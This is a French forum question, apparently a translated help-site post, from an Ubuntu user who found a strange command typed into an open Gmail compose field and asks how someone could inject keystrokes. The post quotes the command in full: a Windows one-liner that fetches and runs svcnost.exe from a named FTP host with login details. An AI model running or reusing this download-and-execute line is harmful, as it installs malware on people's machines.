Mon PC domestique est généralement allumé, mais l'écran est éteint. Ce soir, en rentrant du travail, j'ai découvert ce qui ressemble à une tentative de piratage : dans mon navigateur, mon Gmail était ouvert (c'était moi), mais il était en mode composition avec ce qui suit dans le champ TO champ :
md /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit echo Vous vous êtes fait avoir
Cela ressemble à un code de ligne de commande Windows pour moi, et le md Le début du code combiné au fait que Gmail était en mode composition, montre clairement que quelqu'un a essayé d'exécuter un cmd commande. Je suppose que j'ai eu de la chance car je n'utilise pas Windows sur ce PC, mais j'en ai d'autres qui le font. C'est la première fois qu'une telle chose m'arrive. Je ne suis pas un gourou de Linux et je n'exécutais pas d'autres programmes que Firefox à ce moment-là.
Je suis absolument sûr que ce n'est pas moi qui l'ai écrit, et que personne d'autre n'était physiquement devant mon ordinateur. De plus, j'ai récemment changé mon mot de passe Google (et tous mes autres mots de passe) pour quelque chose comme vMA8ogd7bv donc je ne pense pas que quelqu'un ait piraté mon compte Google.
Qu'est-ce qui vient de se passer ? Comment quelqu'un peut-il effectuer des frappes sur mon ordinateur alors qu'il ne s'agit pas de la vieille machine Windows de grand-mère qui exécute des logiciels malveillants depuis des années, mais d'une nouvelle installation Ubuntu récente ?
Mise à jour :
Permettez-moi d'aborder certains des points et des questions :
- Je suis en Autriche, à la campagne. Mon routeur WLAN fonctionne WPA2 / PSK et un mot de passe de force moyenne qui n'est pas dans le dictionnaire ; il faudrait le forcer par brute et à moins de 50 mètres d'ici ; il est peu probable qu'il ait été piraté.
- J'utilise un clavier filaire USB, il est donc très peu probable que quelqu'un se trouve à portée pour le pirater.
- Je n'utilisais pas mon ordinateur à ce moment-là ; il tournait au ralenti à la maison pendant que j'étais au travail. Il s'agit d'un ordinateur portable monté sur moniteur, que j'éteins rarement.
- La machine n'a que deux mois, ne fonctionne qu'avec Ubuntu, et je n'utilise pas de logiciels ou de sites bizarres. Il s'agit principalement de Stack Exchange, de Gmail et de journaux. Pas de jeux. Ubuntu est configuré pour se maintenir à jour.
- Je n'ai pas connaissance d'un service VNC en cours d'exécution ; je n'en ai certainement pas installé ou activé un. Je n'ai pas non plus démarré d'autres serveurs. Je ne suis pas sûr qu'il y en ait un qui fonctionne par défaut dans Ubuntu ?
- Je connais toutes les adresses IP dans l'activité du compte Gmail. Je suis presque sûr que Google n'était pas une porte d'entrée.
- J'ai trouvé un Visionneuse de fichiers journaux mais je ne sais pas ce qu'il faut chercher. Vous pouvez m'aider ?
Ce que je veux vraiment savoir, et ce qui me fait me sentir en danger, c'est : Comment un internaute peut-il générer des frappes sur mon ordinateur ? Comment puis-je l'empêcher sans avoir l'air de tout vouloir dire ? Je ne suis pas un geek de Linux, je suis un père de famille qui s'est frotté à Windows pendant plus de 20 ans et qui en est fatigué. Et depuis plus de 18 ans que je suis en ligne, je n'ai jamais vu personnellement de tentative de piratage, donc c'est nouveau pour moi.
